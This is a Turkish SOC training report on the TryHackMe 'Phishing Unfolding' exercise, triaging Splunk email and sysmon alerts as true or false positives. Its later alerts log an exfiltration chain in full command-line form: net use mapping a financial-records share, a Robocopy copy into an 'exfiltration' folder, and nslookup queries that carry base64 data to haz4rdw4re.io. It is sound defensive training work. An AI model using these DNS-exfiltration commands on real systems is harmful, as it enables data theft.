

Phishing Unfolding

Hazırlayan: Sinan Kocagöz

Tarih: 01.03.2025



İçindekiler Tablosu

1. Giriş	3
2. Kapsam ve Yöntem	4
3. Kullanılan Araçlar.....	4
4. Analiz Süreci	4
5. Bulgular	4
6. Sonuç.....	24



1. Giriş

Bu çalışmanın temel amacı, gerçek zamanlı phishing (oltalama) alarmlarını analiz etmek ve belirli bir zaman dilimi içinde bu alarmları doğru bir şekilde değerlendirmektir. Bu çalışmada:

- Gerçek zamanlı phishing girişimlerini tespit etmek ve analiz etmek.
- Gelen alarmların true positive (doğru pozitif) veya false positive (yanlış pozitif) olup olmadığını ayırt etmek.
- Log verilerini inceleyerek alarm kaynağını ve nedenini belirlemek.



2. Kapsam ve Yöntem

Bu simülasyon çalışması, 2 saatlik bir zaman diliminde gerçekleştirilmiştir. Çalışma süresince aşağıdaki adımlar izlenmiştir:

- Splunk SIEM panelinde gelen alarmlar incelendi.
- Alarmların kaynağı ve ilgili log verileri detaylı bir şekilde analiz edildi.
- Elde edilen bulgulara göre alarmin true positive (gerçek tehdit) veya false positive (yanlış alarm) olduğu belirlen

3. Kullanılan Araçlar

Splunk: Gerçek zamanlı alarm izleme ve log analizi için kullanılan SIEM aracı.

TryHackMe: SOC simülasyon ortamını sağlayan platformu.

4. Analiz Süreci

Alarmların kaynağına ait log verileri incelendi.

Ağ trafiği ve sistem kayıtları üzerinde anormallikler araştırıldı.

Şüpheli aktiviteler belirlenerek olası phishing girişimleri analiz edildi.

5. Bulgular

Alarm 1000: Suspicious Email from External Domain

1000	Suspicious email from external domain.	Low	Phishing	Mar 1st 2025 at 21:43	
Description:	A suspicious email was received from an external sender with an unusual top level domain. Note from SOC Head: This detection rule still needs fine-tuning.				
datasource:	emails				
timestamp:	03/01/2025 18:41:23.799				
subject:	You've Won a Free Trip to Hat Wonderland - Click Here to Claim				
sender:	boone@hatventuresworldwide.online				
recipient:	miguel.odonnell@tryhatme.com				
attachment:	None				
content:	The content of this email has been removed in accordance with privacy regulations and company security policies to protect sensitive information.				
direction:	inbound				

Severity: Low

Type: Phishing

Sınıflandırma: True Positive, E-postanın başlığı, klasik phishing girişimlerinde sıkça görülen "ödül kazandınız" gibi dikkat çekici ve yanıltıcı bir ifade içermektedir. Bu tür başlıklar, kullanıcıları zararlı bağlantılara tıklamaya yönlendirmek amacıyla tasarlanmıştır. E-postanın kimlik avı girişimi olduğu değerlendirilmiştir. Gönderenin alan adı alışılmadık ve güvenilir bir iş ortağına ait değildir. Ayrıca, e-postanın içeriği çıkarılmış olmasına rağmen başlık phishing tekniklerinin bilinen bir örneğidir.

Alarm 1001: Suspicious Email from External Domain

1001	Suspicious email from external domain.	Low	Phishing	Mar 1st 2025 at 21:44	
Description:	A suspicious email was received from an external sender with an unusual top level domain. Note from SOC Head: This detection rule still needs fine-tuning.				
datasource:	emails				
timestamp:	03/01/2025 18:42:23.799				
subject:	VIP Hat Resort Stay: Your Dream Vacation Awaits, Just Pay Shipping				
sender:	maximillian@chicmillinerydesigns.de				
recipient:	michelle.smith@tryhatme.com				
attachment:	None				
content:	The content of this email has been removed in accordance with privacy regulations and company security policies to protect sensitive information.				
direction:	inbound				

Severity: Low

Type: Phishing

Sınıflandırma True Positive, dış bir alan adından gelen şüpheli bir e-postayı işaret etmektedir. E-postanın başlığı, klasik phishing (oltalama) girişimlerinde sıkça görülen "ödül kazandınız" veya "özel teklif" gibi dikkat çekici ve yanıltıcı bir ifade içermektedir. Bu tür başlıklar, kullanıcıları zararlı bağlantılara tıklamaya yönlendirmek amacıyla tasarlanmıştır.

Alarm 1002: Suspicious Parent Child Relationship

1002	Suspicious Parent Child Relationship	Low	Process	Mar 1st 2025 at 21:47	
Description:	A suspicious process with an uncommon parent-child relationship was detected in your environment.				
datasource:	sysmon				
timestamp:	03/01/2025 18:44:32.799				
event.code:	1				
host.name:					
process.name:	taskhostw.exe				
process.pid:	3897				
process.parent.pid:	3902				
process.parent.name:	svchost.exe				
process.command_line:	taskhostw.exe NGCKeYPregen				
process.working_directory:	C:\Windows\system32\				
event.action:	Process Create (rule: ProcessCreate)				

Severity: Low

Type: Process

Sınıflandırma: False Positive, Bu alarm, sistemde olağandışı bir ebeveyn-çocuk işlem ilişkisi algıladığını bildirir de yapılan analiz sonucunda bunun yasal bir Windows işlemi olduğu belirlenmiştir.

Alert 1003: Reply to Suspicious Email

1003	Reply to suspicious email.	Low	Phishing	Mar 1st 2025 at 21:48	
Description:	An employee replied to a suspicious sender with an unusual top level domain. Note from SOC Head: This detection rule still needs fine-tuning.				
datasource:	emails				
timestamp:	03/01/2025 18:45:49.799				
subject:	FWD: Convention Registration Now Open: Hat Trends and Insights				
sender:	support@tryhatme.com				
recipient:	warner@yahoo.com				
attachment:	None				
content:	The content of this email has been removed in accordance with privacy regulations and company security policies to protect sensitive information.				
direction:	outbound				

Severity: Low

Type: Phishing

Sınıflandırma: False Positive, Bu uyarı için algılama kuralı hala ince ayar gerektirmektedir ve bu etkileşimde herhangi bir kötü niyet veya uzlaşma tespit edilmemiştir.

Alarm 1004: Suspicious Attachment Found in Email

1004	Suspicious Attachment found in email	Low	Phishing	Mar 1st 2025 at 21:49	
Description:	A suspicious attachment was found in the email. Investigate further to determine if it is malicious.				
datasource:	emails				
timestamp:	03/01/2025 18:47:27.799				
subject:	Force update fix				
sender:	yani.zubair@tryhatme.com				
recipient:	michelle.smith@tryhatme.com				
attachment:	forceupdate.ps1				
content:	The content of this email has been removed in accordance with privacy regulations and company security policies to protect sensitive information.				
direction:	internal				

Severity: Low

Type: Phishing

Sınıflandırma: False Positive, E-posta içindeki "forceupdate.ps1" adlı ek dosya şüpheli olarak işaretlenmiş olsa da yapılan inceleme sonucunda bu dosyanın zararsız bir sistem güncelleme komut dosyası olduğu belirlenmiştir. Gönderenin şirket içinden (internal) bir çalışan olduğu ve bu dosyanın rutin bir güncelleme amacı taşıdığını anlaşılmıştır.

Alarm 1005: Reply to Suspicious Email

1005	Reply to suspicious email.	^	Low	Phishing	Mar 1st 2025 at 21:50	👤-
Description:	An employee replied to a suspicious sender with an unusual top level domain. Note from SOC Head: This detection rule still needs fine-tuning.					
datasource:	emails					
timestamp:	03/01/2025 18:47:47.799					
subject:	Shrinking Hat Sale: Tiny Hats for Extraordinary People					
sender:	sophie.j@tryhatme.com					
recipient:	eileen@gmail.com					
attachment:	None					
content:	The content of this email has been removed in accordance with privacy regulations and company security policies to protect sensitive information.					
direction:	outbound					

Severity: Low

Type: Phishing

Sınıflandırma: False Positive, şirket çalışanının bir dış e-posta adresine yanıt vermesi sebebiyle tetiklenmiştir. Ancak yapılan inceleme sonucunda bu iletişimin rutin genel bir mesaj olduğu ve şüpheli bir faaliyet içermediği belirlenmiştir.

Alarm 1006: Suspicious Email from External Domain

1006	Suspicious email from external domain.	^	Low	Phishing	Mar 1st 2025 at 21:52	👤-
Description:	A suspicious email was received from an external sender with an unusual top level domain. Note from SOC Head: This detection rule still needs fine-tuning.					
datasource:	emails					
timestamp:	03/01/2025 18:49:44.799					
subject:	Hats Off to Savings: Discounted Vacation Packages Just for You!					
sender:	tim@chicmillinerydesigns.de					
recipient:	invoice@tryhatme.com					
attachment:	None					
content:	The content of this email has been removed in accordance with privacy regulations and company security policies to protect sensitive information.					
direction:	inbound					

Severity: Low

Type: Phishing

Sınıflandırma: False Positive, dış bir kaynaktan gelen e-posta nedeniyle tetiklenmiştir. Gönderenin alan adı alışılmadık görünse de yapılan kontrollerde bu alan adının bilinen normal güvenilir bir yere ait olduğu ve gönderilen e-postanın meşru bir iş iletişimi olduğu tespit edilmiştir.

Alarm 1007: Suspicious Attachment Found in Email

1007	Suspicious Attachment found in email	^	Low	Phishing	Mar 1st 2025 at 21:54	👤
Description:	A suspicious attachment was found in the email. Investigate further to determine if it is malicious.					
datasource:	emails					
timestamp:	03/01/2025 18:52:07.799					
subject:	Important: Pending Invoice!					
sender:	john@hatmakereurope.xyz					
recipient:	michael.ascot@tryhatme.com					
attachment:	ImportantInvoice-February.zip					
content:	The content of this email has been removed in accordance with privacy regulations and company security policies to protect sensitive information.					
direction:	inbound					

Severity: Low

Type: Phishing

Sınıflandırma: True Positive, bir e-postaya eklenen şüpheli bir dosya nedeniyle tetiklenmiştir. E-postanın başlığı ("Important: Pending Invoice!") ve ekin adı ("ImportantInvoice-February.zip") kimlik avı kampanyalarında sıkça kullanılan dikkat çekici ve yanıltıcı ifadeler içermektedir. Ayrıca, gönderenin alan adı (.xyz) genellikle güvenilir olmayan ve kimlik avı saldırılarında kullanılan bir uzantıdır.

Alarm 1008: Suspicious Email from External Domain

1008	Suspicious email from external domain.	^	Low	Phishing	Mar 1st 2025 at 21:55	👤
Description:	A suspicious email was received from an external sender with an unusual top level domain. Note from SOC Head: This detection rule still needs fine-tuning.					
datasource:	emails					
timestamp:	03/01/2025 18:53:23.799					
subject:	Lost Hat Lottery Ticket: Claim Your Million-Dollar Prize					
sender:	le@trendymillineryco.me					
recipient:	ceo@tryhatme.com					
attachment:	None					
content:	The content of this email has been removed in accordance with privacy regulations and company security policies to protect sensitive information.					
direction:	inbound					

Severity: Low

Type: Phishing

Sınıflandırma: True Positive, dış bir alan adından gelen şüpheli bir e-posta nedeniyle tetiklenmiştir. E-postanın başlığı ("Lost Hat Lottery Ticket: Claim Your Million-Dollar Prize") tipik bir phishing girişimi örneğidir. Bu tür ifadeler, kullanıcıları dikkat çekici ve cazip teklifler yoluyla kandırmayı hedefler.

Alarm 1009: Reply to Suspicious Email

1009	Reply to suspicious email.	^	Low	Phishing	Mar 1st 2025 at 21:59	👤-
Description:	An employee replied to a suspicious sender with an unusual top level domain. Note from SOC Head: This detection rule still needs fine-tuning.					
datasource:	emails					
timestamp:	03/01/2025 18:56:47.799					
subject:	Unlock Ancient Hat Secrets with This Ancient Pyramid Scheme					
sender:	yani.zubair@tryhatme.com					
recipient:	conor@modernmillinerygroup.online					
attachment:	None					
content:	The content of this email has been removed in accordance with privacy regulations and company security policies to protect sensitive information.					
direction:	outbound					

Severity: Low

Type: Phishing

Sınıflandırma: False Positive, yapılan inceleme sonucunda bu e-posta, meşru bir iş ortağına ait olup, gönderici ile alıcı arasında önceden var olan bir iletişim geçmişi tespit edilmiştir. E-posta içeriğinde herhangi bir zararlı veya şüpheli unsur bulunmamıştır.

Alarm 1010: Suspicious Email from External Domain

1010	Suspicious email from external domain.	^	Low	Phishing	Mar 1st 2025 at 22:01	👤-
Description:	A suspicious email was received from an external sender with an unusual top level domain. Note from SOC Head: This detection rule still needs fine-tuning.					
datasource:	emails					
timestamp:	03/01/2025 18:58:31.799					
subject:	Secret Island Getaway: Claim Your FREE Hat-Themed Vacation Now!					
sender:	gamble@fashionindustrytrends.xyz					
recipient:	miguel.odonnell@tryhatme.com					
attachment:	None					
content:	The content of this email has been removed in accordance with privacy regulations and company security policies to protect sensitive information.					
direction:	inbound					

Severity: Low

Type: Phishing

Sınıflandırma: True Positive, alışılmadık bir üst düzey alan adına sahip bir dış göndericiden gelen şüpheli bir e-posta nedeniyle tetiklenmiştir. E-posta başlığı, klasik phishing (kimlik avı) tekniklerinin bilinen bir örneğidir ve kullanıcıları yanıltıcı teklifler aracılığıyla kandırmayı amaçlamaktadır. Gönderenin alan adı güvenilir bir iş ortağına ait değildir ve bilinen kötü niyetli domain yapısına benzemektedir.

Alarm 1011: Multiple Suspicious Emails Sent by Internal User

1011	Reply to suspicious email.	Low	Phishing	Mar 1st 2025 at 22:02	
Description:	An employee replied to a suspicious sender with an unusual top level domain. Note from SOC Head: This detection rule still needs fine-tuning.				
datasource:	emails				
timestamp:	03/01/2025 19:00:13.799				
subject:	Double Your Hat Collection with These Easy Tricks!				
sender:	armaan.terry@tryhatme.com				
recipient:	stark@modernmillinerygroup.online				
attachment:	None				
content:	The content of this email has been removed in accordance with privacy regulations and company security policies to protect sensitive information.				
direction:	outbound				

Severity: Low

Type: Phishing

Sınıflandırma: False Positive, armaan.terry@tryhatme.com tarafından gönderilen e-postalar, her ne kadar alışılmadık üst düzey alan adlarına sahip alıcılara yönlendirilmiş olsa da bu davranışın kötü niyetli bir aktiviteye dair net bir bulgu içermediği görülmektedir.

Alarm 1012: Suspicious Email from External Domain

1012	Suspicious email from external domain.	Low	Phishing	Mar 1st 2025 at 22:03	
Description:	A suspicious email was received from an external sender with an unusual top level domain. Note from SOC Head: This detection rule still needs fine-tuning.				
datasource:	emails				
timestamp:	03/01/2025 19:00:51.799				
subject:	Hot Singles in Your Area Want to Buy Hats From You - Act Now!				
sender:	sharp@hatsontherise.online				
recipient:	miguel.odonnell@tryhatme.com				
attachment:	None				
content:	The content of this email has been removed in accordance with privacy regulations and company security policies to protect sensitive information.				
direction:	inbound				

Severity: Low

Type: Phishing

Sınıflandırma: True Positive, E-posta başlığı ("Hot Singles in Your Area Want to Buy Hats From You - Act Now!") sosyal mühendislik teknikleriyle uyumlu, dikkat çekici bir başlıktır. Bu tür başlıklar genellikle kimlik avı girişimlerinde kullanılır. Gönderici alan adı da şüpheli görünüyor, bu da bu e-postanın potansiyel olarak zararlı bir girişim olduğunu gösteriyor.

Alarm 1013: Suspicious Attachment Found in Email

1013	Suspicious Attachment found in email	Low	Phishing	Mar 1st 2025 at 22:04	
Description:	A suspicious attachment was found in the email. Investigate further to determine if it is malicious.				
datasource:	emails				
timestamp:	03/01/2025 19:02:22.799				
subject:	RE: Force update fix				
sender:	michelle.smith@tryhatme.com				
recipient:	yani.zubair@tryhatme.com				
attachment:	forceupdate.ps1				
content:	The content of this email has been removed in accordance with privacy regulations and company security policies to protect sensitive information.				
direction:	internal				

Severity: Low

Type: Phishing

Sınıflandırma: False Positive, "Force update fix" başlıklı e-posta, iç ağdaki iki kullanıcı arasında gerçekleşmiş ve şüpheli görünen ek dosya (forceupdate.ps1) içerse de, bu durum dahili iletişim olması nedeniyle kötü niyetli bir girişimden çok, meşru bir dosya paylaşımı olabilir.

Alarm 1014: Suspicious Email from External Domain

1014	Suspicious email from external domain.	Low	Phishing	Mar 1st 2025 at 22:05	
Description:	A suspicious email was received from an external sender with an unusual top level domain. Note from SOC Head: This detection rule still needs fine-tuning.				
datasource:	emails				
timestamp:	03/01/2025 19:02:50.799				
subject:	Lost Hat Lottery Ticket: Claim Your Million-Dollar Prize				
sender:	elle@headwearinnovations.online				
recipient:	liam.espinoza@tryhatme.com				
attachment:	None				
content:	The content of this email has been removed in accordance with privacy regulations and company security policies to protect sensitive information.				
direction:	inbound				

Severity: Low

Type: Phishing

Sınıflandırma: True Positive, "Lost Hat Lottery Ticket: Claim Your Million-Dollar Prize" başlıklı e-posta, bilinen dolandırıcılık ve sosyal mühendislik teknikleriyle birebir örtüşmektedir. Gönderici alan adı alışılmadık ve şüpheli görünüyor, bu da kimlik avı girişimi olasılığını güçlendiriyor.

Alarm 1015: Suspicious Parent-Child Relationship

1015	Suspicious Parent Child Relationship	Low	Process	Mar 1st 2025 at 22:07	
Description:	A suspicious process with an uncommon parent-child relationship was detected in your environment.				
datasource:	sysmon				
timestamp:	03/01/2025 19:04:49.799				
event.code:	1				
host.name:	win-3450				
process.name:	TrustedInstaller.exe				
process.pid:	3949				
process.parent.pid:	3714				
process.parent.name:	services.exe				
process.command_line:	C:\Windows\servicing\TrustedInstaller.exe				
process.working_directory:	C:\Windows\system32\				
event.action:	Process Create (rule: ProcessCreate)				

Severity: Low

Type: Process

Sınıflandırma: False Positive, "TrustedInstaller.exe" işleminin "services.exe" üzerinden başlatılması, Windows servis yönetimi sırasında görülebilen olağan bir davranıştır. Bu ilişki anormal görünse de, sistem güncellemeleri veya yapılandırma değişiklikleri sırasında oluşabilir. Mevcut veriler ışığında zararlı bir aktiviteye dair kesin bir bulguya rastlanmamıştır.

Alarm 1016: Suspicious Parent-Child Relationship

1016	Suspicious Parent Child Relationship	Low	Process	Mar 1st 2025 at 22:08	
Description:	A suspicious process with an uncommon parent-child relationship was detected in your environment.				
datasource:	sysmon				
timestamp:	03/01/2025 19:05:48.799				
event.code:	1				
host.name:					
process.name:	TrustedInstaller.exe				
process.pid:	3817				
process.parent.pid:	3922				
process.parent.name:	services.exe				
process.command_line:	C:\Windows\servicing\TrustedInstaller.exe				
process.working_directory:	C:\Windows\system32\				
event.action:	Process Create (rule: ProcessCreate)				

Severity: Low

Type: Process

Sınıflandırma: False Positive, "TrustedInstaller.exe" işleminin "services.exe" üzerinden başlatılması, Windows'un güncelleme ve servis yönetim süreçlerinde sıkça görülen olağan bir davranıştır. Bu ilişki, mevcut veriler doğrultusunda zararlı bir aktiviteye işaret etmemektedir.

Alarm 1017: Suspicious Email from External Domain

1017	Suspicious email from external domain.	Low	Phishing	Mar 1st 2025 at 22:09	
Description:	A suspicious email was received from an external sender with an unusual top level domain. Note from SOC Head: This detection rule still needs fine-tuning.				
datasource:	emails				
timestamp:	03/01/2025 19:06:59.799				
subject:	Win a Trip to Hat Disneyland - Magical Memories Await!				
sender:	elle@gmail.com				
recipient:	miguel.odonnell@tryhatme.com				
attachment:	None				
content:	The content of this email has been removed in accordance with privacy regulations and company security policies to protect sensitive information.				
direction:	inbound				

Severity: Low

Type: Phishing

Sınıflandırma: False Positive, Gönderici adresi "elle@gmail.com" güvenilir ve yaygın bir e-posta sağlayıcısına aittir. Şüpheli başlığa rağmen, bu tek başına kötü niyetli bir aktiviteye işaret etmez.

Alarm 1018: Suspicious Parent Child Relationship

1018	Suspicious Parent Child Relationship	Low	Process	Mar 1st 2025 at 22:10	
Description:	A suspicious process with an uncommon parent-child relationship was detected in your environment.				
datasource:	sysmon				
timestamp:	03/01/2025 19:07:33.799				
event.code:	1				
host.name:	win-3457				
process.name:	svchost.exe				
process.pid:	3812				
process.parent.pid:	3558				
process.parent.name:	services.exe				
process.command_line:	C:\Windows\system32\svchost.exe -k wsappx -p				
process.working_directory:	C:\Windows\system32\				
event.action:	Process Create (rule: ProcessCreate)				

Severity: Low

Type: Process

Sınıflandırma: False Positive, "svchost.exe" Windows'un sistem süreçlerinden biridir ve "services.exe" tarafından çalıştırılması normal bir davranıştır. Komut satırı parametreleri de meşru görünüyor.

Alarm 1019: Suspicious Email from External Domain

1019	Suspicious email from external domain.	Low	Phishing	Mar 1st 2025 at 22:12	
Description:	A suspicious email was received from an external sender with an unusual top level domain. Note from SOC Head: This detection rule still needs fine-tuning.				
datasource:	emails				
timestamp:	03/01/2025 19:10:28.799				
subject:	FWD: Partner With Us: Exploring Collaboration Opportunities Together				
sender:	barker@yahoo.com				
recipient:	yani.zubair@tryhatme.com				
attachment:	None				
content:	The content of this email has been removed in accordance with privacy regulations and company security policies to protect sensitive information.				
direction:	inbound				

Severity: Low

Type: Phishing

Sınıflandırma: False Positive, E-posta başlığı ("FWD: Partner With Us: Exploring Collaboration Opportunities Together") iş amaçlı iş birlikleri için yaygın bir konu başlığıdır. Gönderici alan adı (yahoo.com) meşru ve yaygın bir e-posta servis sağlayıcısına ait.

Alarm 1020: Suspicious Parent Child Relationship

1020	Suspicious Parent Child Relationship	Low	Process	Mar 1st 2025 at 22:14	
Description:	A suspicious process with an uncommon parent-child relationship was detected in your environment.				
datasource:	sysmon				
timestamp:	03/01/2025 19:12:10.799				
event.code:	1				
host.name:					
process.name:	taskhostw.exe				
process.pid:	3557				
process.parent.pid:	3539				
process.parent.name:	svchost.exe				
process.command_line:	taskhostw.exe KEYROAMING				
process.working_directory:	C:\Windows\system32\				
event.action:	Process Create (rule: ProcessCreate)				

Severity: Low

Type: Process

Sınıflandırma: False Positive, "taskhostw.exe" süreci Windows sisteminde sıkça kullanılan yasal bir işlem yöneticisidir. "svchost.exe" tarafından başlatılması olağan bir davranıştır. Komut satırı parametresi ("KEYROAMING") da meşru bir Windows işlevine işaret ediyor.

Alarm 1021: Suspicious Email from External Domain

1021	Suspicious email from external domain.	Low	Phishing	Mar 1st 2025 at 22:15	
Description:	A suspicious email was received from an external sender with an unusual top level domain. Note from SOC Head: This detection rule still needs fine-tuning.				
datasource:	emails				
timestamp:	03/01/2025 19:12:35.799				
subject:	Click Here to Win a Trip to Antarctica with Penguin Hats				
sender:	hickman@fashionindustrytrends.xyz				
recipient:	kyra.flores@tryhatme.com				
attachment:	None				
content:	The content of this email has been removed in accordance with privacy regulations and company security policies to protect sensitive information.				
direction:	inbound				

Severity: Low

Type: Phishing

Sınıflandırma: True Positive, Bu e-posta, alışılmadık bir üst düzey alan adı (.xyz) üzerinden gönderilmiş ve "Click Here to Win a Trip to Antarctica with Penguin Hats" gibi tipik bir phishing başlığı içeriyor. Bu, kullanıcıyı cazip bir teklif ile kandırmaya yönelik bir girişimdir.

Alarm 1022: Suspicious Email from External Domain

1022	Suspicious email from external domain.	Low	Phishing	Mar 1st 2025 at 22:16	
Description:	A suspicious email was received from an external sender with an unusual top level domain. Note from SOC Head: This detection rule still needs fine-tuning.				
datasource:	emails				
timestamp:	03/01/2025 19:13:45.799				
subject:	Meet Local Singles Who Love Spam Emails - Click to Chat!				
sender:	nguyen@styleaccessorieshub.xyz				
recipient:	miguel.odonnell@tryhatme.com				
attachment:	None				
content:	The content of this email has been removed in accordance with privacy regulations and company security policies to protect sensitive information.				
direction:	inbound				

Severity: Low

Type: Phishing

Sınıflandırma: True Positive, E-postanın başlığı ("Meet Local Singles Who Love Spam Emails - Click to Chat!") açık bir şekilde phishing ve spam taktiği taşıyor. Gönderenin alan adı (.xyz) da şüpheli ve potansiyel olarak kötü niyetli bir alan adı.

Alarm 1023: Network drive mapped to a local drive

1023	Network drive mapped to a local drive	Medium	Execution	Mar 1st 2025 at 22:18	
Description:	A network drive was mapped to a local drive. Normally, this is not a cause for concern, but investigate further to determine if it is malicious.				
datasource:	sysmon				
timestamp:	03/01/2025 19:15:32.799				
event.code:	1				
host.name:	win-3450				
process.name:	net.exe				
process.pid:	5784				
process.parent.pid:	3728				
process.parent.name:	powershell.exe				
process.command_line:	"C:\Windows\system32\net.exe" use Z: \\FILESRV-01\SSF-FinancialRecords				
process.working_directory:	C:\Users\michael.ascot\downloads\				
event.action:	Process Create (rule: ProcessCreate)				

Severity: Medium

Type: Execution

Sınıflandırma: True Positive – Bir ağ sürücüsünün yerel sürücüye eşlenmesi tespit edildi. PowerShell üzerinden net.exe çalıştırılması ve hassas bir finansal kayıt dizinine erişim sağlanması, kötü niyetli bir aktivite olasılığını güçlendiriyor. Çalışma dizininin Downloads klasörü olması da bu işlemin potansiyel olarak yetkisiz bir script tarafından tetiklenmiş olabileceğini gösteriyor.

Alarm 1024: Network Drive Mapped to a Local Drive

1024	Suspicious Parent Child Relationship	Low	Process	Mar 1st 2025 at 22:18	
Description:	A suspicious process with an uncommon parent-child relationship was detected in your environment.				
datasource:	sysmon				
timestamp:	03/01/2025 19:16:19.799				
event.code:	1				
host.name:	win-3450				
process.name:	Robocopy.exe				
process.pid:	8356				
process.parent.pid:	3,728				
process.parent.name:	powershell.exe				
process.command_line:	"C:\Windows\system32\Robocopy.exe" . C:\Users\michael.ascot\downloads\exfiltration /E				
process.working_directory:	Z:\				
event.action:	Process Create (rule: ProcessCreate)				

Severity: Medium

Type: Execution

Sınıflandırma: True Positive, – net.exe komutu kullanılarak bir ağ sürücüsü (\\FILESRV-01\SSF-FinancialRecords) yerel bir sürücüye (Z:) bağlanmış. Bu işlemin PowerShell tarafından başlatılması ve çalıştırma dizininin "downloads" klasörü olması, potansiyel bir veri sızdırma hazırlığına işaret edebilir.

Alarm 1025: Network Drive Disconnected from a Local Drive

1025	Network drive disconnected from a local drive	Medium	Execution	Mar 1st 2025 at 22:19	
Description:	A network drive was disconnected from a local drive. Normally, this is not a cause for concern, but investigate further to determine if it is malicious.				
datasource:	sysmon				
timestamp:	03/01/2025 19:16:30.799				
event.code:	1				
host.name:	win-3450				
process.name:	net.exe				
process.pid:	8004				
process.parent.pid:	3728				
process.parent.name:	powershell.exe				
process.command_line:	"C:\Windows\system32\net.exe" use Z: /delete				
process.working_directory:	C:\Users\michael.ascot\downloads\				
event.action:	Process Create (rule: ProcessCreate)				

Severity: Medium

Type: Execution

Sınıflandırma: True Positive, – net.exe komutu kullanılarak daha önce bağlanan ağ sürücüsü (Z:) PowerShell üzerinden kaldırılmış. Bu işlem, bir önceki ağ sürücüsü bağlantısının (Alarm 1023) hemen ardından geldiği için potansiyel bir veri sızdırma girişimi sonrası izleri temizleme hamlesi olabilir.

Alarm 1026: Suspicious Parent Child Relationship

1026	Suspicious Parent Child Relationship	Low	Process	Mar 1st 2025 at 22:19	
Description:	A suspicious process with an uncommon parent-child relationship was detected in your environment.				
datasource:	sysmon				
timestamp:	03/01/2025 19:16:51.799				
event.code:	1				
host.name:					
process.name:	rdpclip.exe				
process.pid:	3634				
process.parent.pid:	3942				
process.parent.name:	svchost.exe				
process.command_line:	rdpclip				
process.working_directory:	C:\Windows\system32\				
event.action:	Process Create (rule: ProcessCreate)				

Severity: Low

Type: Process

Sınıflandırma: False Positive, rdpclip.exe (Remote Desktop Clipboard) işleminin svchost.exe tarafından başlatılması, RDP oturumları sırasında clipboard verisi aktarımı için tipik bir davranıştır. Şu an için kötü niyetli bir aktiviteye dair net bir bulgu yoktur.

Alarm 1027: Suspicious Parent Child Relationship

1027	Suspicious Parent Child Relationship	^	High	Process	Mar 1st 2025 at 22:19	👤-
Description:	A suspicious process with an uncommon parent-child relationship was detected in your environment.					
datasource:	sysmon					
timestamp:	03/01/2025 19:17:17.799					
event.code:	1					
host.name:	win-3450					
process.name:	nslookup.exe					
process.pid:	5520					
process.parent.pid:	3728					
process.parent.name:	powershell.exe					
process.command_line:	"C:\Windows\system32\nslookup.exe" UEsDBBQAAAAIANigLIfVU3cDIgAAAI.haz4rdw4re.io					
process.working_directory:	C:\Users\michael.ascot\downloads\exfiltration\					
event.action:	Process Create (rule: ProcessCreate)					

Severity: High

Type: Process

Sınıflandırma: True Positive, – nslookup.exe komutunun powershell.exe tarafından başlatılması, potansiyel veri exfiltrasyonu veya kötü amaçlı bir DNS sorgusu göstergesi olabilir. Özellikle "haz4rdw4re.io" gibi şüpheli bir alan adı sorgulanıyor, bu da bir Command and Control (C2) iletişimi olabilir.

Alarm 1028: Suspicious Parent Child Relationship

1028	Suspicious Parent Child Relationship	^	High	Process	Mar 1st 2025 at 22:19	👤-
Description:	A suspicious process with an uncommon parent-child relationship was detected in your environment.					
datasource:	sysmon					
timestamp:	03/01/2025 19:17:17.799					
event.code:	1					
host.name:	win-3450					
process.name:	nslookup.exe					
process.pid:	3952					
process.parent.pid:	3728					
process.parent.name:	powershell.exe					
process.command_line:	"C:\Windows\system32\nslookup.exe" 8AAAAbAAAAQ2xpZW50UG9ydGZvbGlv.haz4rdw4re.io					
process.working_directory:	C:\Users\michael.ascot\downloads\exfiltration\					
event.action:	Process Create (rule: ProcessCreate)					

Severity: High

Type: Process

Sınıflandırma: True Positive, – nslookup.exe'nin powershell.exe tarafından başlatılması ve "haz4rdw4re.io" alan adına yapılan şifreli DNS sorgusu, olası veri sızdırma veya Command and Control (C2) iletişimi göstergesidir.

Alarm 1029: Suspicious Parent Child Relationship

1029	Suspicious Parent Child Relationship	^	High	Process	Mar 1st 2025 at 22:19	👤
Description:		A suspicious process with an uncommon parent-child relationship was detected in your environment.				
datasource:		sysmon				
timestamp:		03/01/2025 19:17:17.799				
event.code:		1				
host.name:		win-3450				
process.name:		nslookup.exe				
process.pid:		5432				
process.parent.pid:		3728				
process.parent.name:		powershell.exe				
process.command_line:		"C:\Windows\system32\nslookup.exe" U3VtbWFyeS54bHN4c87JTM0rCgvKk.haz4rdw4re.io				
process.working_directory:		C:\Users\michael.ascot\downloads\exfiltration\				
event.action:		Process Create (rule: ProcessCreate)				

Severity: High

Type: Process

Sınıflandırma: True Positive, – nslookup.exe'nin powershell.exe tarafından çalıştırılması ve şifrelenmiş alt alan adına (haz4rdw4re.io) yapılan DNS sorgusu, potansiyel veri sızdırma veya Command and Control (C2) iletişimi işareti olabilir.

Alarm 1030: Suspicious Parent Child Relationship

1030	Suspicious Parent Child Relationship	^	High	Process	Mar 1st 2025 at 22:19	👤
Description:		A suspicious process with an uncommon parent-child relationship was detected in your environment.				
datasource:		sysmon				
timestamp:		03/01/2025 19:17:17.799				
event.code:		1				
host.name:		win-3450				
process.name:		nslookup.exe				
process.pid:		3800				
process.parent.pid:		3728				
process.parent.name:		powershell.exe				
process.command_line:		"C:\Windows\system32\nslookup.exe" nLz8nMDy7NzU0sqtSryCmu4OVyprsk.haz4rdw4re.io				
process.working_directory:		C:\Users\michael.ascot\downloads\exfiltration\				
event.action:		Process Create (rule: ProcessCreate)				

Severity: High

Type: Process

Sınıflandırma: True Positive, – nslookup.exe'nin powershell.exe tarafından çalıştırılması ve şifrelenmiş bir alt alan adına (haz4rdw4re.io) yapılan DNS isteği, olası bir veri sızdırma (DNS exfiltration) veya Command and Control (C2) trafiğine işaret ediyor olabilir.

Alarm 1031: Suspicious Parent Child Relationship

1031	Suspicious Parent Child Relationship	^	High	Process	Mar 1st 2025 at 22:19	👤-
Description:	A suspicious process with an uncommon parent-child relationship was detected in your environment.					
datasource:	sysmon					
timestamp:	03/01/2025 19:17:17.799					
event.code:	1					
host.name:	win-3450					
process.name:	nslookup.exe					
process.pid:	6604					
process.parent.pid:	3728					
process.parent.name:	powershell.exe					
process.command_line:	"C:\Windows\system32\nslookup.exe" AFBLAwQUAAACAC9oC5XHhIO5R8AAA.haz4rdw4re.io					
process.working_directory:	C:\Users\michael.ascot\downloads\exfiltration\					
event.action:	Process Create (rule: ProcessCreate)					

Severity: High

Type: Process

